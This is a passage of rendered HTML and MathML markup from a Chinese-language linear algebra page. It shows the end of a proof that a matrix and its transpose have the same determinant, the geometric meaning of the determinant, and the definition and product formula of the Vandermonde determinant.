mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，因为上下三角矩阵的行列式只取决于对角线元素</p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>P</mi><mo stretchy="false">)</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>L</mi><mo stretchy="false">)</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>U</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>P</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>L</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>U</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mi>T</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(A) = det(P) det(L) det(U) = det(P^T) det(L^T) det(U^T) = det(A^T) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 是奇异矩阵时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，同样有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A^T) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p></li></ol><p>因为性质 11，因此行列式的行和列操作是一样的。</p><h2 id="行列式的几何意义"><a class="markdownIt-Anchor" href="#行列式的几何意义"></a> 行列式的几何意义</h2><p>行列式的绝对值表示矩阵变换后，空间的变化倍数，或者以单位立方体为例的体积变化倍数。</p><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A) &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，表示变换保持了空间的定向；如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>&lt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A) &lt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，表示变换改变了空间的定向（例如镜像反转）。</p><p>特例有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>I</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> det(I) = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，表示单位立方体的体积没有变化，空间没有变化。</p><h2 id="范德蒙德行列式"><a class="markdownIt-Anchor" href="#范德蒙德行列式"></a> 范德蒙德行列式</h2><p>设有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex"> n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个不同的数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> x_1, x_2, \ldots, x_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，则范德蒙德行列式定义为：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>V</mi><mo>=</mo><mrow><mo fence="true">∣</mo><mtable rowspacing="0.16em" columnalign="center center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msubsup><mi>x</mi><mn>1</mn><mn>2</mn></msubsup></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msubsup><mi>x</mi><mn>1</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msubsup></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msubsup><mi>x</mi><mn>2</mn><mn>2</mn></msubsup></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msubsup><mi>x</mi><mn>2</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msubsup></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">⋱</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mi>n</mi></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msubsup><mi>x</mi><mi>n</mi><mn>2</mn></msubsup></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msubsup><mi>x</mi><mi>n</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msubsup></mstyle></mtd></mtr></mtable><mo fence="true">∣</mo></mrow></mrow><annotation encoding="application/x-tex">V = \begin{vmatrix} 1 &amp; x_1 &amp; x_1^2 &amp; \ldots &amp; x_1^{n-1} \\ 1 &amp; x_2 &amp; x_2^2 &amp; \ldots &amp; x_2^{n-1} \\ \vdots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \\ 1 &amp; x_n &amp; x_n^2 &amp; \ldots &amp; x_n^{n-1} \end{vmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:5.4885em;vertical-align:-2.4942em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-4.95em;"><span class="pstrut" style="height:7.4em;"></span><span style="width:0.333em;height:5.400em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.333em" height="5.400em" viewBox="0 0 333 5400"><path d="M145 15 v585 v4200 v585 c2.667,10,9.667,15,21,15c10,0,16.667,-5,20,-15 v-585 v-4200 v-585 c-2.667,-10,-9.667,-15,-21,-15c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v4200 v585 h43z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.9942em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-4.6133em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.7533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.4942em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.9942em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6133em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.4942em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.9942em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6133em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.4942em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.9942em;"><span style="top:-5.64em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">…</span></span></span><span style="top:-4.4258em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">…</span></span></span><span style="top:-2.5658em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">⋱</span></span></span><span style="top:-1.3658em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">…</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.4942em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.9942em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8542em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.1031em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6133em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8542em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.1031em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5533em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.4942em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-4.95em;"><span class="pstrut" style="height:7.4em;"></span><span style="width:0.333em;height:5.400em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.333em" height="5.400em" viewBox="0 0 333 5400"><path d="M145 15 v585 v4200 v585 c2.667,10,9.667,15,21,15c10,0,16.667,-5,20,-15 v-585 v-4200 v-585 c-2.667,-10,-9.667,-15,-21,-15c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v4200 v585 h43z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>范德蒙德行列式的值为：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>V</mi><mo>=</mo><munder><mo>∏</mo><mrow><mn>1</mn><mo>≤</mo><mi>i</mi><mo>&lt;</mo><mi>j</mi><mo>≤</mo><mi>n</mi></mrow></munder><mo stretchy="false">(</mo><msub><mi>x</mi><mi>j</mi></msub><mo>−</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">V = \prod_{1 \leq i &lt; j \leq n} (x_j - x_i) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4638em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord 